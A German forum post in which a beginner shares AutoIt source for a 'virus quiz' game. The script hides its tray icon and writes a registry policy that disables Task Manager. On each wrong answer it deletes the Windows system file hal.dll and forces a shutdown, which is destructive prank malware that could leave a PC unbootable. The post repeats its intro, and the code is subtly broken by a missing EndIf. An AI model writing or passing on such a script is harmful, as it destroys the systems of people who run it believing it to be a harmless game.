Hey Leute,
Ich habe gestern den If Then Else Befehl gelernt, jetzt hab ich ein kleinees Spiel gemacht :D
Hier wäre der Quellcode:
P.S.: Ich würde beim spielen die FileDelete weg tun und ne MsgBox hintun.
PP.S.: Ich hoffe ich habe es in die richtige Spalte getan...
Ich habe gestern den If Then Else Befehl gelernt, jetzt hab ich ein kleinees Spiel gemacht :D
Hier wäre der Quellcode:
Code:
#NoTrayIcon
$DISABLE = 1
Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
Local $val = "DisableTaskMgr"
RegWrite ($key, $val, "Reg_DWORD", $DISABLE)
MsgBox (16, "Ohh Shitt!!!!", "Das ist ein Virus-Quiz, wenn du es beendest oder verlierst, fickt dein PC ab, wenn du gewinnst hast du glück gehabt")
MsgBox (0, "Passwort", "Das Passwort lautet Arschloch")
MsgBox (0, "Kennwort", "Das Kennwort lautet Hallo")
MsgBox (0, "Alter", "Ich bin 142 Jahre alt")
MsgBox (0, "Name", "Ich heisse Hans Wurscht")
MsgBox (0, "Zahl", "y=1 m=2 n=3 b=4 v=5 b+n+y+m + 1 * 3 : 3 +2 + y : 2 * 3 + 2 - 20 + 3 = __ ")
MsgBox (0, "Grösse", "Ich bin 10 Meter hoch.")
$input1 = InputBox ("Frage1", "Kennwort eingeben, oder dein PC fickt ab")
If $input1 = "Hallo" Then
MsgBox (0, "Gut gemacht", "Frage 1 bestanden")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
$input2 = InputBox ("Frage2", "Wie gross bin ich, gib nur die zahl ein.")
If $input2 = "10" Then
MsgBox (0, "Gut gemacht", "Frage 2 bestanden")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
$input3 = InputBox ("Frage3", "Wie heisse ich zum ganzen namen?")
If $input3 = "Hans Wurscht" Then
MsgBox (0, "Gut gemacht", "Frage 3 bestanden.")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
$input4 = InputBox ("Frage4", "Wie lautet das Passwort")
If $input4 = "Arschloch" Then
MsgBox (0, "Gut gemacht", "Frage 4 bestanden")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
$input5 = InputBox ("Frage5", "Was ergibt die Rechnung?")
If $input5 = "13" Then
MsgBox (0, "Gut gemacht", "Frage 5 und somit das Quiz abgeschlossen")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
PP.S.: Ich hoffe ich habe es in die richtige Spalte getan...